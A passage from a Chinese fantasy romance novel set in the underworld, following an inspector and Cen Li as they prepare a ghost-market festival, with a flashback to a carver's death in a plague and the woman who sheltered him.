在这里!他大步走到桥边,半个身子都探出去看桥底,那里只有日夜流淌的河水和时刻想往上爬的怨灵。他死死盯着,数秒后怨灵逐渐沉入了河底,他这才看清河水中竟然亮起了幽光!
白玉扇上的符纹愈发亮了,甚至将奈何桥上空照得亮如白昼,沈自珩想了想,掐诀将符纹隐去,河底的幽光逐渐消失,怨灵也再次浮了上来,试图往桥上爬。
“我以为你会迫不及待地打开记忆库。”
沈自珩身后的夜色中亮起一抹银色的光,他先是一愣,随后就笑了:“大风闯祸了吗?天还没亮就要把它还回来了。”
“你没看我都没带上大风吗。”时隔多日重又穿上一身白衣的岑黎走到沈自珩面前,有些担忧地说,“别急着进去,现在还不是时候。”
沈自珩看着她点点头:“好。”
“记忆库究竟是什么样子的,有没有把守,进去后能不能出来,怎么出来。”岑黎说了一连串,这些问题她从听到沈自珩和阎王的谈话后就在考虑了,“还有,即便进去了,如果
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里面有我的记忆,应该怎么拿出来?”
沈自珩不语,只是看着她。夜色很深了,周围的灯已尽数熄灭,他也没有提灯,他们两人全靠岑黎身上银纹亮起的那一点光,才能勉强看见自己的脚尖。
“沈自珩。”
衣摆上的亮光离他近了些:“你为什么帮我?”
是新裙子啊。
“你怎么知道我是帮你?”
岑黎轻轻跺了跺脚,裙摆像银色浪花一样荡起好看的弧度。她放轻了声音,几乎是用气声与他对话:“那你为什么要让我听你们的对话?”
“我不是故意的。”沈自珩的眼里逐渐浮上一丝笑意。
“哦。”岑黎不再问,就当他对我也有一些好感吧。
两人站在桥上看着那个始终圆乎乎的月亮,都觉得有些可爱。
岑黎的语气有些活泼起来:“沈自珩,我们合作吧。我帮你作出成绩,你帮我找我的记忆瓶。”
阎王要你作出成绩来,地府中还能有什么成绩,无非就是渡多少亡魂,惩多少恶,扬多少善。你是督察,最多再加一个——罚了多少鬼差。既然这样你就多开罚单呗,无故罚别人太不讲理,但你可以多开我的。”
沈自珩被她逗笑了:“这不行吧,哪有让我多开罚单的鬼差啊?”
“行的行的,反正你打开了记忆库我也能沾光。”她戛然而止,想到一个很关键的问题,“但是你怎么知道我要开记忆库呢?”
“原本不确定,现在确定了。”沈自珩拉着她往孟婆庄走。
岑黎被沈自珩扯着袖子,只好乖乖跟着:“你又是怎么知道我没有记忆的?”
“我在地府的时间不比你短,何况我一直在阴律司,你的生死簿我能看见。”他刚松开她的衣袖就见她险些绊了一跤,他把胳膊伸到岑黎面前,“你拉着我吧。”
“哦……也是。”岑黎拽上沈自珩的衣袖往孟婆庄走,“大风能在我那里多待两天吗?”
“随你。”沈自珩不动声色地垂眼看着岑黎的手一点点往里抓,离他的手腕越来越近……他手一翻,扣住了岑黎的手腕,“老实点吧,别又摔了。”
岑黎喜笑颜开地看他,眼睛弯弯的:“好的!”
“好什么好?!你这都不结实,我都能晃得动还好?”岑黎抬手拍上一旁的柱子,骂得对面的鬼差头也不敢抬,“这是瓦肆!懂什么是瓦肆吗!瓦肆要容纳多少人你知道吗!”
“是鬼……”鬼差小声反驳道。
岑黎更生气了,手上又是猛地一拍,发出一声闷响:“你什么意思,鬼就不用注意安全了反正摔下来也不会死是不是?”
鬼差扑通一声跪在地上:“不是不是,大人您别生气,我立刻加固。”
“滚!赶紧滚!”
沈自珩从对面酒坊出来就看见岑黎站在门口正大口喘气,他有些奇怪地仔细看了一阵,这是昨晚的那条裙子吗?
裙摆上的银纹不见了。
“岑黎,你……”
岑黎转过身:“沈……诶?”
16. 鬼市 十
身后空无一人。听岔了吗?但自己应该不会听错沈自珩的声音啊。
“大人,您看这样行吗?我这是好多年的老手艺了,绝不会出问题的!”
一名鬼差灰头土脸地从房梁上跳下来,在岑黎面前拍着胸脯说,“大人,刚刚那个小子是我徒弟,他才学了没两年,学艺不精,您别和他计较。”
“我看看。”岑黎转身进了酒坊检查。
“你是什么时候知道屏障有裂缝的?”崔珏放下手里的判官笔,压低了声音质问,“为什么不同我说!”
“几日之前。”沈自珩说,“阎王殿上的鬼差出事的时候。”
阴律司里的鬼差都被临时遣了出去,崔珏没了顾忌,猛地一拍桌子,怒不可遏地指着他:“几日之前就知道屏障有问题却不上报,之后若是有什么差池,屏障若是彻底没了,这些都会算在你的头上!”
“自珩知道。”
“你知道个屁!”崔珏难得骂人,这会儿指着他的指尖都在颤抖,沈自珩只老老实实站在原地,不顶嘴却也不说话,像一拳打在了棉花上,没一会儿就让人没了脾气。
刚刚拍桌子震掉了桌上零散的物件,崔珏弯腰将东西捡起来放回桌上,叹了口气说,“如果阎王找你去,你就说没看见不知道,该装就装。”
这话一出沈自珩愣了。听说过阴律司崔判官的人都知道他刚正不阿,最是守规矩,也最讨厌说瞎话,但他现在却让沈自珩隐瞒。
“荒草谷平时不会有人去,那天却有两名鬼差在,还都是阎王殿上的。”崔珏揉了揉眉心,在殿上走来走去,“阎王大概已经知道了,那两名鬼差应该是专门去盯着的。”
沈自珩听出了不对劲:“大人,连判官都不知道这事吗?”
崔珏摇摇头,不再和他讨论屏障的事。沈自珩再受器重也还只是个督察,判官都不知晓的事情,督察更不能知道。
“鬼市重建的进度如何了?”
“快结束了,还有最后一些收尾工作。”沈自珩说,“现在应该是岑黎在盯着吧。”
崔珏走到他面前:“这几日你索性不要出去了,就待在你的屋里。”
“可……”沈自珩还想说什么,被崔珏一挥手打断。
“就这样,回去吧。”
沈自珩坐在桌前叹了能有一百次气,就在他觉得呼吸不畅想要再深吸一口气叹出去的时候耳边响起了岑黎的声音。
“不要再叹气了,本来长得好看还算是你的优势,要是叹气多了变得老了,你的优势都没有了。”岑黎推开房门,光从门外照进来,只留一道姣好的身影投在地面上。
沈自珩无声地笑了。
“你怎么来了?”
岑黎哎呀一声,装模作样地拿出鬼市图纸来,上面大大小小地画了好多圈,她伸手点着:“我来汇报鬼市重建进度啊大人,您看这里,还有这里,都建好了,但是这里……”
沈自珩待在房间里好几天了,无事可做,只能核对着今年年初到现在的生死簿,看着看着他突发奇想打开了自己的生死簿,上面的记载十分简单:沈自珩,阴律司鬼差——阴律司督察。
一直到岑黎进来将图纸摊开在桌上,他的生死簿也没有收起来。
她葱白的指尖在纸上轻点着,像毛茸茸的东西挠着他心尖,痒得他想笑。他难以忍受似的伸手握住她的手:“好了,我知道了。”
桌上的生死簿忽然散出一道光,淡淡地萦绕着却不容忽视。
“等一下,这是怎么回事?!”岑黎睁大眼睛,被沈自珩握着的手也忘了抽回来,两人看着发着光的生死簿都傻了眼。
“不知道。”沈自珩说着松开手,生死簿周围萦绕着的光又渐渐暗了下去。
岑黎的眼睛瞪得更大,圆乎乎的像小猫:“嗯?!”她看向沈自珩求证,“你们阴律司的鬼差的生死簿会发光?这是生死簿新品?我的为什么不会?”
沈自珩被她问得哭笑不得:“什么生死簿新品,以往从来没有过这种情况,别的鬼差的生死簿应该也不会发光……”
“哦?那为什么你的会?触发条件是什么?”岑黎来劲了,绕到桌子另一边凑近观察那生死簿,薄厚正常,材质正常,什么都正常,看着就是普通的生死簿啊,没什么特别的。
岑黎想了想,掏出自己的生死簿放在旁边:不亮。
太远了吗?她把两本生死簿并排放:不亮;叠在一起:还是不亮。
“奇了怪了,为什么呢?”
沈自珩在旁边摇头。“鬼市重建基本完成了,等鬼市开了之后你就可以回到孟婆庄了,还和以前一样。”
岑黎嗯一声,还蹲在桌子边仔细对比着两本生死簿:“那我今天下午请个假。”
“干什么?”
“我要去良医所。”岑黎趴在桌角说。
“找施永和?”沈自珩伸手到她面前将生死簿合上。
她今日梳着与往日不同的发髻,发间换成了俏皮可爱的簪子样式,两鬓各多分出一缕青丝自然垂在耳边,余下的长发自然垂在身后。
“对啊。”她停顿了一下,歪着头看他,嘴角隐隐挂上些笑意,连发簪上的花枝跟着轻晃,“我去抓药啊。”
“抓什么药,你受伤了?”沈自珩的身体往前倾了倾,“什么时候伤着的?”
岑黎不回答,笑眯眯地看了他一会儿:“沈大人,你现在很关心我嘛。”
沈自珩没躲闪,同她对视着:“究竟哪里受伤了?”
“没有没有,我灵力不稳嘛,去找施永和抓点药,看看能不能让灵力稳定下来。”岑黎站起身伸了个懒腰,“我走啦。”
“嗯。”沈自珩将背靠回椅子上。
“对了。”岑黎走到门口又回头冲他俏皮地笑笑,“我和施大人只是多年好友,沈大人不要吃醋哦!”
“我没……”
“没效果。”施永和收起脉枕,“要不换个方子试试?最近我徒弟发现了一种新的草药,对你的灵力应该有效。”
“应该?施永和你拿我试药呢?”岑黎龇牙咧嘴地看着施永和掏出针包,“还扎啊?我都快成蜂窝了。”
施永和在一排银针里挑挑拣拣,抽出一根最长的
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银针在岑黎眼前晃了晃,见岑黎被吓得脸色发白,他得逞地笑着将针又放了回去。
“你的灵力稳定了就不扎针了呗。”他施好针,捋了捋袖子坐在旁边,“你自己有什么感觉?吃药管用还是扎针管用?”
岑黎能感觉到自己的灵力活跃了些,在身体的各个角落里积攒着,像滚雪球似的越攒越多,然后逐渐运转起来。
“扎针吧,这周比上周好多了。”她低头看了看自己脚边的银纹。
“鬼市快建好了吧?然后你就可以好好休息一阵了。”施永和算着时间拔了针,“沈大人也真是的,他不知道你灵力不稳吗?”
岑黎笑笑:“干嘛告诉他啊,他又帮不了我。”
施永和恨铁不成钢:“就你这样什么也不说还怎么追他!你们年轻人的想法我真是不懂……”
崔珏提心吊胆地等了好几天,屏障有裂缝的事并无人再提,阎王殿也没传讯过来要找沈督察。
“这事应该暂且过去了,就不要再想了,当初是由鬼帝联手搭成,旁人想帮还帮不上这个忙。”崔珏拿着判官笔在生死簿上勾着,头也不抬地飞快说着,“快三月三了,这次重建的鬼市规模庞大,还连通了鬼门关和地府中心,开了之后势必会吸引许多鬼,你带着鬼差们要守好鬼市,不能出乱子。”
沈自珩答:“是。”
“另外,上头想看点新的。”
“什么新的?”
“活动?”云昭跳了起来,一把拍开云伸过来试图按住她的手,“百鬼能参加的都要参加?还要有新意,不能穿官袍,不能太简朴……”
岑黎站在一边兴致勃勃地掰手指头:“黑白无常,牛头马面……十大阴帅就能找来吧,还有四大司的鬼差们打扮一下,再加上镇妖塔中的那些自由进出的魂体,比如大风,在大风身上挂点纸灯也行啊,大风你愿意不?”
她抬手摸了摸肩上的大风,它现在全然忘了自己是只凶兽,成天化作还没有手掌大的小鸟飞来飞去,累了就往岑黎的袖中一钻。
大风刚睡醒,这会儿站在岑黎肩上跳了跳,啼叫一声,岑黎听见一摊手说:“你看,大风同意了。”
云昭站在旁边伸手,大风把自己的脑袋往她手心里拱,惹得云昭笑得不行:“大风也太可爱了,哪里有点凶兽的样子啊,你真是被我哥打服的吗?”
大风有些哀怨地叫了一声,打开自己左边翅膀给他们看,那里曾经被沈自珩抽了一根骨头呢!
云昭哄着它把翅膀放下,一边摸着它一边问:“姐姐,大风怎么一直在你这儿?我哥呢?他这是把大风给你了?”
“没有,等他回来我就把大风还给他了。”岑黎手上正拿着不知从哪翻出来的鬼差名单,“这个大力鬼王……怎么好像从来没见过?云昭,你知道吗?”
云昭摇摇头,看向旁边跟过来的云,云也摇摇头:“我对地府中的许多鬼差都不熟悉。”
“大力鬼王是……”
站在云昭手里的大风突然叫了一声,岑黎抬头便看见沈自珩从桥那边走了过来。
“你肯定认识他。”
17. 三月三 逛花灯 一
“我认识?”岑黎看着沈自珩,突然想起了他那本会发光的生死簿,哪天一定要好好查一查为什么他的生死簿会发光。
多有意思啊!
沈自珩挠挠眉角说出了一个名字:“施永和。”
“施永和是大力鬼王?他那肚子是大力鬼王?”岑黎在自己肚子前比划着,施永和那肚子感觉和大力鬼王也搭不上边啊。
“他最先当鬼差的时候封的就是大力鬼王,管地府巡查,传送讯息、押送鬼怪等等,但地府与时俱进,这么多年过后,这些职责除了巡查还需要鬼差之外,传讯和押送都不再需要那么多人手,他就请求卸去鬼王一职了。”沈自珩说,“你去过他那里了?”
“嗯,他还给我针灸了。”岑黎听着觉得有些迷糊,抬手看了看自己的胳膊,大力鬼王还会医术!刚刚还给自己扎针!
沈自珩继续说:“至于他的医术,是卸职之后无聊,拜师学的。”
他环顾四周,鬼市已经基本建好了,有一些鬼差正在给房门上雕花做装饰。
这些小楼都是在原址上重新盖的,自然也有屋主,那些屋主听说鬼市要重建后就提出了各种要求,由无恙统计后登记在册:要在门上雕花、雕蝴蝶,还有的要在门上挂灯笼,岑黎看见后多问了一嘴,要什么样式的灯笼。
无恙嘴角一抽:“那个屋主说要绿色和红色的灯笼,一角挂四个……”
岑黎听着眼角直跳:“虽然咱们是地府,但装饰也不能太地府吧……”
雕着花的鬼差像骑马似的骑在梯子上,手上抓着好几把刻刀,一点一点地在门上雕,起先还只能看出来是一个圆形,逐渐能看出花瓣的大致形状,再后来花瓣的线条变得流畅柔和,等岑黎找完施永和回来再看的时候,那花已经十分精细,连叶片的垂落都能看得出。
“好手艺啊!”岑黎费力地仰着头,“无恙?”
鬼差在上面应了一声:“诶!大人,我这就下来!”
“还真是你,地府里除了你只有无患有这手艺了吧?”岑黎看着门上生动的雕花感叹着,“你师父看见了肯定很欣慰。”
无恙踩下最后一层梯子站到岑黎旁边一起抬头看着雕花,他看了一会儿摇摇头:“他不是我师父。我们当时要拜师,他却不愿意。”
疯子破衣烂衫地在大街上走着,来往路人都对他避之不及,更有甚者见了他之后捂着鼻子走开了,那疯子见了哈哈大笑:“人啊,总是不愿意亲自查证。”
他拉着旁边的小摊主问:“我问你,你可闻见我身上有臭味?”
摊主被吓了一跳,挥手叫他滚;
他又去拍前面提着篮子的姑娘:“姑娘,你可见我周身有蝇虫飞舞啊?”
姑娘摇摇头,加快脚步走开了。
疯子张开双臂冲着老天:“好,即是如此,我便换一种模样试试!”
他像是没看见街上人们异样的眼光,转身走进了巷子里,用腰间酒壶里的酒洗了手,路过一家酒庄时正遇上小厮端着一大盆水出来要往后巷泼,他赶忙上前拦着:“小兄弟,这是什么水?”
小厮看了看他:“这是客人的洗手水。”
那水看上去并不脏,清澈见底,连脏东西也没有……哦也是有的,他从水里捞出来一撮猫毛甩到地上,又问:“这水你还用吗?”
小厮莫名其妙:“这水不能用了。”
疯子笑了:“那你给我吧,给我用,可否劳烦你帮我端着?”
小厮点点头,帮他端着那一大盆水。就见疯子将破烂的外袍脱了扔在一边,将袖子挽了起来,随后伸手进那水盆里舀起一捧水往脸上泼。
小厮急了:“诶!这水!”
疯子往脸上泼了几捧水,随后眯缝着眼弯腰去摸,摸到那粗布外袍后他拿在手里随意团了两下,当成洗脸布在脸上狠狠地来回蹭了蹭,直到小厮细瘦的胳膊都开始颤抖了,洗脸布才被疯子从脸上拿了下来。
有好奇的小乞丐跟了疯子一路,见他认真洗完脸后的模样竟是呆住了:他一点也不像疯子!他目光如炬,面如冠玉,真不是哪家的贵公子吗?
疯子舒服地长舒一口气,从小厮手里接过水往地上泼干净:“这水现在确实没用啦。”他看向小厮,这孩子约莫着也就十岁出头,这么小年纪就在这儿干活,日子怕也是不好过。
“你多大了?”
“十二了。”小厮向他作了个揖,“公子,水盆给我吧。”
疯子将手中的盆递给他,拍了拍他肩膀:“你不错,不以貌取人,知礼数,不急躁,你要不要跟着我学手艺?”
小厮和年幼的弟弟本就是相依为命,在哪里做工都只能讨到口饭吃,他们虽然年纪小,却也知道有门手艺好生活的道理。
“那你们俩,就跟着我吧。”疯子点了点他们的脑袋,一招手,“跟上!”
两人跟着他往远处走了。
“小子,你十八了,可有什么打算?”疯子仍然一副破破烂烂的样子倚在墙根,嘴里咬了半只鸡腿问,“过了晌午我去找东家结款,这次建的宅子大,能有一大笔钱,到时候我带你俩去做身新衣服?”
对面的少年叼着另外半只鸡腿,回手把留出来的一整只鸡腿塞进旁边少年的嘴里:“还做新衣服啊,开春才做的新衣服,到现在半年不到,你不如攒着娶媳妇。”
“诶,我志不在此。”疯子用袖子胡乱擦了擦油乎乎的嘴,对他俩一挥手,“回家待着吧,我拿了钱就回。”
少年应了,包好油纸带着弟弟回家等。
但他们等了好久,等到身上的新衣袖口都磨破了,疯子也没回来。
这一天少年早早起床烤了满满一盘子地瓜和土豆,又煮了一大锅菜汤,他从自己屋里拿了纸笔写:哥哥去找他,你自己吃饭,待在家勿出门。
弟弟喝完了菜汤,吃完了地瓜和土豆,哥哥和那疯子也还没回来。他跑进屋里拿包袱装了疯子和哥哥的衣服进去,又塞进去两个生地瓜,将包袱系好往肩上一背便出了门。
街上到处都是人。
躺着的,死人。
他吓得想哭,眼泪没下来却先猛地咳嗽了一通,比以往咳得更深了些,薄薄的胸膛里像有个呼哧呼哧的破风箱。他跨过横在门口的人站在街上左右看了看,往右边去了:“东家的家是那里,我记得的。”
他往记忆中东家的宅子走,走出没多远就愣住了,街上一片死寂,原本每
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天都会将水果收回家的老吉,他的板车都还在,车上的水果都烂成汁了;对面卖竹蜻蜓的张婶也没收摊,架子上脏成了垃圾堆,还挂着深褐色的布条……
“哥哥——大疯子——”他一边走一边喊。
“乖乖,别喊,别喊。”一个大婶手里拿着块白布跑过来,一把捂上他的嘴,毫不费力地将他带进了一旁的屋子。
那白布上有一股呛人的怪味,大婶的手一拿开他就憋不住要咳嗽,咳到脸都涨得通红也没停下。
“好了好了,乖乖,好了……这是草药,不碍事的。”大婶进屋拿了盆清水摆在他面前,伸手去脱他外袍,“记得我吧?我是卖竹蜻蜓的张婶,你把外袍脱下来,脸和手都擦擦。”
“张婶,我记得!”他开心得喊起来,“张婶,你看见我哥哥和大疯子了吗?”
张婶习惯性地在围裙上抹了抹手:“没有哇,乖乖你快脱外袍,我要拿去烧了的。”
他乖乖地照做,但还是好奇地问:“为什么要烧?”
张婶突然落了泪,有些哽咽地说:“你看到外面没有?不干净,好多人都染病了。”她接过脱下的外袍丢进火盆里,“没事啊乖乖,烧了就好啦!”
这条街原本不论白天黑夜都十分热闹,直到打更人出来敲锣那些店家才陆续打烊,但现在就连白天都很安静了。他天天坐在门口,从关不严的门缝里偷偷看外面,经常有人穿着白衣服戴着白帽子从街上过,隔三差五的,叫人不安生。
“那是戴孝呢,我知道。”他跟张婶说,“哥哥以前帮人哭过丧,我见过的。”
他刚来张婶家时,她家门口也有白灯笼。
张婶端着一碗没几块疙瘩的疙瘩汤,对他硬挤出一个难看的笑:“喝吧,凉了喝着要肚子疼。”
今天的疙瘩汤里只剩几片菜叶子了,还是被虫啃过的菜叶子,也泛黄,不新鲜,张婶是不是遭人骗了呀?他想了想还是没说,捧着碗咕嘟咕嘟地喝了汤。
他喝完疙瘩汤又转头看着外面,手上扯着破烂的衣袖边。张婶把她夫家和儿子的衣服都烧了,只留了一件她儿小时候的衣服,正好他能穿下,结果现在这件衣服也磨破了。他转身想找张婶要针线补一补,刚站起身就哇的一声吐了一地。
张婶从屋里冲出来,疯了似的将他紧紧抱在怀里,眼泪跟断了线的珠子似的砸在他脸上。他抬了抬手腕给张婶看袖口:“张婶,对不起呀,袖子破啦……”
“不打紧不打紧,乖乖。”张婶抱着他轻轻摇晃着,他觉得好温暖,有点想睡觉了。
“乖乖,你看看婶子,乖乖?”张婶拍着他的脸轻声问,“婶子问你啊,你会不会写你的名字呀?”
他点点头。
张婶哭得更凶了,连鼻涕流进嘴里也不擦。他抬手用袖子在张婶鼻子上蹭了蹭,她勉强地笑了,却十分难看,她说:“婶子不会写字,你把你自己的名字写下来好不好?你等着婶子啊!”
他靠坐在门边,看着张婶从屋里拿出一块木牌,又从旁边拿过笔。对了,他今天终于有了些力气,本打算练字呢。
“乖乖,写吧,在这上头写。”张婶把木牌拿到他面前时手在颤抖着,“写你的名字。”
18. 三月三 逛花灯 二
张婶填上最后一捧土起身,紧了紧身上的包袱,又将纸小心地折好塞进怀里——那是她从碑上拓下来的,隔壁家的教书先生也过世了,不然她还能拿着纸去问问。
还有谁能告诉她啊?这个念头一出现就像缠成一团的线,将她越缠越紧。她沿着泥地上的脚印往回走,前几天街上还能看见跪地求佛的人,现在连那些人也看不见了,只剩求佛用的那些东西七零八落地散在地上。
“张婶!你怎么还在外面啊!”一扇木门突然打开,一位老人家拄着拐狠狠跺了两下地,远远地跟她说,“快回去快回去!”
张婶擦了眼泪惊喜道:“大爷!大爷您帮帮我!”
大爷惊得用手把住门,打算如果张婶冲过去他就立刻关上,但见她只是从怀里掏出了纸,他还是壮着胆子问了一句,“你要做甚?”
“大爷,您不是做过账房先生吗?您认字是不是?您帮我看看这上面写的是什么,行不行?”张婶捏着纸乞求,颤抖的声音从喉间挤出来,“行不行?”
“好吧好吧,你拿过来,放这儿。”拐杖杵了杵门槛,大爷往后退了两步。
张婶将纸放在门槛上,往后退了几步,大爷那边拿起纸来有些费劲地看着:“你这是拓下来的啊,我看看。”
“这写的是……无……无恙吧,对,无恙……”大爷拿着纸往有亮的地方凑,“无恙……之、之墓,哟,你这是从墓碑上拓下来的啊!”
无恙之墓。
那孩子叫无恙。
他亲手写下了自己的墓碑。
他知道,他什么都知道。
大爷不忍心看她痛哭流涕,给她留了一碗水后便将大门关了,但即便是关上门也还能听到悲恸的哭声。
他拄着拐晃晃悠悠地往屋里走,一边走一边埋怨,也不知道怨谁,又好像谁都该怨,苍老的声音在小院里回荡着:“这人世啊,比地狱也好不到哪儿去吧——”
手中的拐杖一歪倒在地上,他伸手去捡却扑了个空,衰老的身躯也跟着砸在地上,没了生息。
一行披麻戴孝的人从街角拐过来往这条街上走。
走在最后的小伙儿脚下踩着了什么东西,肩上扛着的棺往旁边一歪。他伸手死死把住棺,脚下扎了个马步才好不容易稳住,他长舒一口气说:“咱昨天也走的这条街不?怎么感觉……”活人更少了。他自己也觉得有点慎得慌,没把后面的话说出口。
旁边的兄弟喊他:“诶,有根!你稳着点儿!”
队伍稳步往前走着,有根两手扶着棺,努力扭头想看刚刚究竟是什么险些绊了他一跤,但到了街的尽头,他们得要往荒山上去了。他往周围看了看,只记下了旁边摆满竹蜻蜓的小车。
荒山上已经立了好些碑,他们将棺抬到地方帮着下葬好后就匆匆往回走,有根走在前面想着那些竹蜻蜓,身后突然有个人扑过来勾他脖子:“干甚?你想甚呢?刚刚抬棺都不好好抬。”
有根胡乱将他胳膊扒开:“没不好好抬,有东西给我绊住了。”
“什么东西,你不要找借口啊。”
“真是绊了,不然你跟我回去看看。”
“走嘛,反正下一家也在那附近,咱先过去等着。”
他们返回去找到了竹蜻蜓车,有根往回跑了两步又走了一遍刚刚的路线,这条街的路面比不上那条街的乱,只有一些香炉、烛台,白布之类的东西散落着。他一直往前走,忽然脚下踢到了什么。
是一个蜷缩在角落里的妇人。
那妇人双目紧闭,眼角有一些干涩发白的痕迹蔓延到脸颊,从下巴到衣服领子上有一大滩脏污。她弓着身子跪在地上,大概是露在外面的腿绊了他一跤。
有根走上前将手伸到妇人鼻子底下,片刻后他看向一旁站着的兄弟:“良兴,人没了。”
良兴叹了口气,心想这还用探吗,他拉着有根给妇人鞠躬,起身时突然咦了一声:“她是不是拿着啥东西呢?”
他抓住妇人手里的东西往外扯,很轻松就扯了出来。
他凭着经验推了推时间:“她走了最少有一天一夜。”
妇人手里抓着的是个包袱,摸着软乎乎的。
打开一看里面是两身衣服,一支笔和两个长了芽的生地瓜,还有一个竹蜻蜓。
无恙把刻刀放进包里,轻叹了口气。这些事虽然过去许多年,但他还是记得清楚。
“你后来还有张婶的消息吗?她转世了没有?”岑黎摸了摸眼角问他,“要不要我帮你查?”
无恙一愣,把手拢在嘴边悄悄地说:“大人,这不合规矩!”说完他还此地无银地四下看了看。
岑黎也学着他将手一拢:“管他的,大不了再收张罚单!”
她一抬手把虚空镜拿了出来悬在两人面前,“你知道张婶的名字叫什么不?”
无恙立刻被带跑了,也不管什么合不合规矩,皱起眉头努力想着:“我听水果摊老板喊过……好像叫张绣?就是不知道是哪个字了。”
“没关系,按你那会儿的年份和地区找,应当不难找到。”
虚空镜上面出现了许许多多的“张绣”源源不断地滚动着,无恙盯了一会儿就觉得眼花,索性把眼闭上。
他看着没什么表情,手上却悄悄攥住了衣摆。
张婶后来怎么样了?躲过那场时疫了吗?她的丈夫和孩子都没了,后来是怎么生活的呢?这么多年应该也转世了,转到什么样的人家去了?
“无恙,无恙你看看是不是她?”岑黎拽着他袖子扯了一下,一手指着虚空镜上出现的妇人的脸庞。
是她!
无恙张了张嘴,眼前很快就被泪水模糊了视线。
他清了清嗓子开口:“大人,她、她现在在哪儿呢?”
岑黎安抚地拍了拍他的肩:“我看看啊。”
虚空镜上写着:张绣,江县人,张家女,父母经商,有一兄长……
“她……”无恙想问问她后来怎么样了,但话到嘴边一转弯变成了,“她现在过得好吗?”
那场时疫在很短的时间内就让他们住的小镇成了座空城,即便张婶活了下来,在那样的环境中怕也是不好过。
可人就是这样的,知道不好过也还是
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想要过下去;知道有人活着比死更难,但还是想让他们活。
岑黎又轻轻地拍了拍他,转头继续念着虚空镜上的字:“张绣,二十三,精通音律,通晓多国语言,现已著书并出版三本。”她轻笑一声,“资助寒门学子十五人。”
无恙似乎没反应过来这是那个不认字,只会做竹蜻蜓的张婶。盯着虚空镜看了许久后他开口:“是张婶,她会模仿别人的家乡话,还学会了各个地方的小曲儿,学得特别快……资助寒门学子,十五人……”
无恙更确定了这就是那个张婶,在时疫爆发时将他收留进家,把仅剩的米面和菜叶子都放到他碗里,知道他染了病却也没想把他丢在大街上,最后还为他立了墓碑。
是那个张婶。
“她过得好就行,张婶,是该享福了……”无恙拜谢岑黎,朝往这儿来的无患走过去,走了没两步就蹦了起来,即便看背影也能看出他很开心。
“哥!找到张婶了!那个做竹蜻蜓的张婶,她现在过得很好呢!”
“岑黎大人又做好事了?”沈自珩不知什么时候站在了岑黎身边,开口道。
岑黎飞快地收了虚空镜,有些心虚,利用职务之便随意查取他人生死簿,她怕是又要挨罚。
但他们不正好需要罚单吗!
岑黎转念一想突然来了精神,拽着沈自珩的袖子小声地喊:“开罚单!快快快!”
见沈自珩看她的表情奇怪,她又解释一句:“阎王给你的任务!忘啦!记忆库啊!”
她声音里充满雀跃,激动但又不得不压抑的神情十分可爱。
沈自珩注视着她,轻声问:“真要这么做?”
“当然!你得开记忆库啊!我需要你进记忆库啊!快开!别磨蹭!”岑黎拉着他的袖子一通抖,“罚单呢?”
沈自珩的胳膊被她拽着直晃,无奈地从袖子里拿出张空白纸递给她:“给你,自己写吧。”
岑黎拿过纸一边写一边跟他商量着三月三:“你有什么想法?让他们排排站好在街上走一圈?”
“不像话。”沈自珩立刻否定了,“先打个招呼再定吧,顺便看看他们有没有什么想法。”
岑黎学沈自珩那样用手指夹着罚单在空中一抖,上面写着:岑黎随意查取生死簿,罚二十金。
“二十?”沈自珩眉毛一挑。
岑黎抖了抖罚单:“怎么啦?”
“我可没开过二十的。”
岑黎不可置信地抬头看他,眼里明晃晃写着黑心两个大字:“什么意思?你还嫌少?”
沈自珩从她手上拿过罚单重新写:岑黎操作失误,罚二十金。
他写完把罚单递过去说:“随意查生死簿是要重罚的,孟婆没有告诉过你吗?”
你指望我告诉你孟婆教我怎么躲督察吗?
她沉默了一会儿选择结束这个话题:“我们先去找哪个鬼?”
“痴鬼。”
两人到宅子门口时早有一人在门口等着,手里似乎还玩着什么东西。
见他们走近,那人冲两人点点头:“在下痴鬼,李恒。”
19. 三月三 逛花灯 三
岑黎一进李大人的院子就被震惊了,四周的柱子都被雕上了十分精致的图案,雕刻起来费时费力的花卉在这上面竟然是最简单的花样;院子角落放着一个半人高的小木屋,岑黎走过去一看,木屋旁放着两只木碗,碗还刻上了狗的图案。
“这是狗吧?李大人这是养狗了?”岑黎问站在一边盘珠子的李恒。
李恒点点头又摇摇头:“准备养了,钟馗大人家的兜兜生了一窝小狗,他说要送我一只,让我先备着东西,过两天就把狗送过来。”
岑黎点点头想去看看别的地方,胳膊被碰了一下,她看过去,沈自珩指着狗窝里面说:“你看。”
狗窝里放着一个球。她伸手进去将球拿出来的一瞬间就瞪大了眼睛:这球也是木头的,中间掏空,外面雕成了镂空缠枝纹,轻轻一晃还能听见有清脆的铃铛声。
李恒有些不好意思地走过来,拿过球转了转,找到了一个位置轻轻一按,那球还能打开!
“这不是香囊的样式吗?”岑黎接过来看着,她有一个这样的香囊,中间可以放香料,但是因为做工实在很精美,她一直也舍不得用。
“对,是一样的,只不过这是木头做的。”李恒解释了一句。
“但给小狗用,会被啃得都是牙印吧?”
李恒摆摆手说:“反正做这个很简单,我可以做很多个随它啃。”
原本岑黎正拿着和掌心差不多大的球翻来覆去地看,听见这话她猛地抬头看向李恒,眼里满是期待地问:“李大人,您还有多余的木球吗,能给我两个吗!”
在地府中许多接触过的鬼差都知道李恒一直是个沉默寡言的性格,除了阴律司之外也就是钟馗和他最能说得上话,但一开始也是被李恒这性格折磨得不行,最严重的时候甚至站在李恒住宅外骂他“三棍子打不出个屁”,闹得人尽皆知。
但大家又都知道李恒人好,几乎是有求必应,问他要个手把件,要个木头的小玩意儿简直轻而易举,他甚至还帮着四大判官司重新做了好几套桌椅板凳。
但李恒显然没遇过有人这么直白地问他要东西,愣了一下才开口:“额,行,正好我刚做完两个不同样式的,大人要不自己进来选吧?”
岑黎冲一旁的沈自珩眨了眨眼,跟着李恒走进屋子。
“等一下,李大人,这是您睡觉的屋子吗?”岑黎站在房间门口不再往里进,这房间里堆满了东西,根本无从下脚。
李恒点点头:“是啊。”
屋子很大,正中间摆了一张矮桌和四张小方凳,矮桌上还有一个小小的木马摆件。这一套桌椅就占了屋子一大块地方,而且这也没看到床啊。岑黎刚想到这儿,李恒走到屋子的角落里,拉起了地上一个圆环,就见屋子中间的地板突然动了一下,然后开始翻转……
“诶?!”
原来那套桌椅竟是固定在地板上的,岑黎还没有震惊完就看见那地板翻过来竟然就是一张床!她站在原地发出惊叹声,沈自珩的声音从她后面传出来:“每个来李大人家的鬼差的反应都和你现在一样。”
李恒点点头,原本没什么表情的脸上突然多了一丝恶作剧得逞的意味:“其实这套桌椅平时不怎么用得到,我很少将它翻过来。你们来找我是为了鬼市开放的活动?”
